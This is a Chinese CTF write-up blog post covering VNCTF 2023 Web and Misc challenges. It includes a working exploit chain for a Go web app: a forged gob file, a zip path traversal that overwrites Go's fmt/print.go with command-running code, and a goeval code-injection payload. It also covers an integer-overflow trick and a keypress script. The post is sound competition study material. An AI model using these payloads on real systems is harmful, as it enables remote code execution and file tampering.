首页 > 其他分享 >VNCTF 2023-Web&Misc 部分题解

VNCTF 2023-Web&Misc 部分题解

时间:2023-02-19 21:12:13浏览次数:39  
标签:VNCTF Web return err 题解 gob 1111 file gin

Web

BabyGo

  各个路由:

    r.GET("/", func(c *gin.Context) {
        userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
        session := sessions.Default(c)
        session.Set("shallow", userDir)
        session.Save()
        fileutil.CreateDir(userDir)
        gobFile, _ := os.Create(userDir + "user.gob")
        user := User{Name: "ctfer", Path: userDir, Power: "low"}
        encoder := gob.NewEncoder(gobFile)
        encoder.Encode(user)
        if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
            c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
            return
        }
        c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
    })
	r.GET("/upload", func(c *gin.Context) {
		c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
	})

	r.POST("/upload", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		fileutil.CreateDir(userUploadDir)
		file, err := c.FormFile("file")
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
			return
		}
		ext := file.Filename[strings.LastIndex(file.Filename, "."):]
		if ext == ".gob" || ext == ".go" {
			c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
			return
		}
		filename := userUploadDir + file.Filename
		if fileutil.IsExist(filename) {
			fileutil.RemoveFile(filename)
		}
		err = c.SaveUploadedFile(file, filename)
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
			return
		}
		c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
	})

	r.GET("/unzip", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		files, _ := fileutil.ListFileNames(userUploadDir)
		destPath := filepath.Clean(userUploadDir + c.Query("path"))
		for _, file := range files {
			if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
				err := fileutil.UnZip(userUploadDir+file, destPath)
				if err != nil {
					c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
					return
				}
				fileutil.RemoveFile(userUploadDir + file)
			}
		}
		c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
	})

	r.GET("/backdoor", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userDir := session.Get("shallow").(string)
		if fileutil.IsExist(userDir + "user.gob") {
			file, _ := os.Open(userDir + "user.gob")
			decoder := gob.NewDecoder(file)
			var ctfer User
			decoder.Decode(&ctfer)
			if ctfer.Power == "admin" {
				eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
				if err != nil {
					fmt.Println(err)
				}
				c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
				return
			} else {
				c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
				return
			}
		} else {
			c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
			return
		}
	})

  /路由用来创建用户文件夹,/upload上传文件,不能传.go和.gob,但可传.zip。/unzip解压uploads下所有的zip,参数path表示解压到何处,可以做目录穿越。因此我们可以把go和gob压缩,再解压到任意位置。.gob是序列化文件,/backdoor读取该文件,判断power是不是admin,是就执行Eval。

  先伪造.gob文件,压缩成zip,上传,然后访问/unzip?path=../就可获取admin.

func main() {
	user := User{Name: "ctfer", Path:"/tmp/cf138594b7b49e21d05f090cf49eaa3e/", Power: "admin"}
	gobFile, _ := os.Create("user.gob")
	encoder := gob.NewEncoder(gobFile)
	encoder.Encode(user)
}

  

  接下来的解法有两种。

解法一:文件覆盖

  看到Eval里的代码第一反应是Eval的代码不可控(当时不知道pkg参数的妙用,解法二讲),就想到能不能把Println改了,加点私货。查到这个函数的源文件在/usr/local/go/src/fmt/print.go。在docker拿源代码,版本号要和题目一致(go.mod可以看),不然运行会报错,当时卡这里挺久。

  docker pull golang:1.19

  pull下来之后把print.go读出来,开始魔改。

func Println(a ...any) (n int, err error) {
	// return Fprintln(os.Stdout,a...)原来的
	return Fprintln(os.Stdout,"hhhhhhhhhhhhhhhhh")
}

  打包,上传,访问/unzip?path=../../../../../../../../../../usr/local/go/src/fmt/,此时再访问/backdoor,可以看到成功魔改。

  

  开始rce:

func Println(a ...any) (n int, err error) {
    //注意要先导包 "os/exec"
    cmd := exec.Command("ls", "-l", "/")
    out, err := cmd.CombinedOutput()
	if err != nil {
    }
    Print(string(out))//不调用Println,防止递归
    return Fprintln(os.Stdout,"hhhhhhhhhhhhhhhhh")
}

 

  结果: 

 

 

func Println(a ...any) (n int, err error) {
    cmd := exec.Command("cat", "/ffflllaaaggg")
    out, err := cmd.CombinedOutput()
    if err != nil {
    }
    Print(string(out))
    return Fprintln(os.Stdout,"hhhhhhhhhhhhhhhhh")
}

   得到flag:

 

 

解法二:goeval代码注入

  原理:goeval实际上是代码拼接,形成新文件,再运行,pkg参数可控则有代码注入。

  参考:http://www.gem-love.com/2022/07/25/goeval%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5%E5%AF%BC%E8%87%B4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/

  payload:

pkg="os/exec"%0a fmt"%0a)%0a%0afunc%09init(){%0acmd:=exec.Command("cat","/ffflllaaaggg")%0aout,_:=cmd.CombinedOutput()%0afmt.Println(string(out))%0a}%0a%0a%0avar(a="1

   

电子木鱼

  考点:整数溢出

  关键代码:

    if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
        let mut cost = payload.cost;

        if payload.name == "Donate" || payload.name == "Cost" {
            cost *= body.quantity;
        }

        if GONGDE.get() < cost as i32 {
            return web::Json(APIResult {
                success: false,
                message: "功德不足",
            });
        }

        if cost != 0 {
            GONGDE.set(GONGDE.get() - cost as i32);
        }

  cost是i32,最大值是2147483647,超过这部分会给截断。传name=Cost,cost就是quantity*10。quantity传大于2147483647的数会报错。

  2147483647:    0111 1111 1111 1111 1111 1111 1111 1111

  2147483647*10:   0100 1111 1111 1111 1111 1111 1111 1111 0110,取 1111 1111 1111 1111 1111 1111 1111 0110,就是-10

  quantity再改小些,负得就更大。传name=Cost&quantity=2047483647,得到flag。

 

Misc

Snake on web

  我用wasm2c,得到C文件,再gcc -c game.c -o game.o,把game.o拖进IDA,还是不会。最后还是用其他解法。

  解法一:改js代码,给蛇减速,然后吃到100分。

  

 

 

 

  解法二:用按键脚本

from pynput import keyboard
import time
control = keyboard.Controller()
while True:
    #先把蛇头朝向右边,起点随便
    time.sleep(2)
    control.press('s')
    control.release('s')
    time.sleep(0.05)
    control.press('a')
    control.release('a')

    time.sleep(2)
    control.press('s')
    control.release('s')
    time.sleep(0.05)
    control.press('d')
    control.release('d')

验证码

  把验证码提取出来,放到:https://tuppers-formula.ovh/

1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552

 

 

标签:VNCTF,Web,return,err,题解,gob,1111,file,gin
From: https://www.cnblogs.com/un1n0wn/p/17134213.html

相关文章

  • vue-跨域问题解决方案
    1.使用django-cors-headers解决跨域问题1.使用pip安装pipinstalldjango-cors-headers2.添加到setting的app中INSTALLED_APPS=( ... 'corsheaders', ...)//......
  • Java Web(七)Request&Response
    Request&ResponseRequest:获取请求数据Response:设置响应数据一.Request对象1.Request继承体系Tomcat需要解析请求数据,封装为requestx对象并且创建requestx对象传递到servic......
  • 第一篇:Web框架推导
    纯手工撸web框架importsocketserver=socket.socket()server.bind(('127.0.0.1',8080))server.listen(5)whileTrue:conn,addr=server.accept()dat......
  • IDEA如何使用Maven不通过模板创建javaWeb项目
    IDEA如何使用Maven不通过模板创建javaWeb项目1.创建项目进入IDEA,点击“项目”>“新建项目”,填写项目信息,最后点击“创建”。点击“创建”后,自动进入新创建的项目。......
  • 【题解】P4389 付公主的背包 / Euler 变换
    思路EGF+Euler变换.(有仙人搞出来解析组合做法,但是解析组合是什么?)Euler变换处理一类无标号计数问题。对于这道题而言,无序选取若干物品,使得其体积之和为\(m\),是无标......
  • JavaWeb开发过程中小问题记录
    今天想复习一下开学考试的内容上手做的时候很顺利的连接了数据库写了封装建立了servlet写了第一个add界面但是在servlet中却出现了问题具体如下图  而下方我在......
  • Websocket 和 http 的区别
    1.含义不同websocket是一种在单个TCP连接上进行全双工通信的协议http:超文本传输协议,是一个简单的请求-响应协议,它通常运行在TCP上,是单向的通信协议2.连接方式......
  • .NET6+WebApi+Vue 前后端分离后台管理系统(二)
    项目搭建: 这个项目使用的开发工具是:VSCode,工具的下载和安装这里就不赘述了,自行百度吧。使用的技术主要是:Vue3、ElementPlus等,Vue项目的搭建这里也不赘述,如果不熟悉可......
  • Atcoder题解:Arc156_c
    数据范围\(10^5\),但是介绍一个\(O(n\logn)\)做法。我们考虑观察样例,发现样例都很小,而且\(\text{LCS}\)的长度都是\(1\),那么我们就猜答案最多为\(1\),并尝试去构造......
  • 2023 年 CCF 春季测试赛模拟赛 - 1 题解
    T1美丽校园标准解法很容易想到:从\(1\)出发向\(t\)走的路径不容易得到,而从\(t\)向\(1\)的路径只需要每次走到当前点的父节点。因此问题转化为:求从\(t\)向根......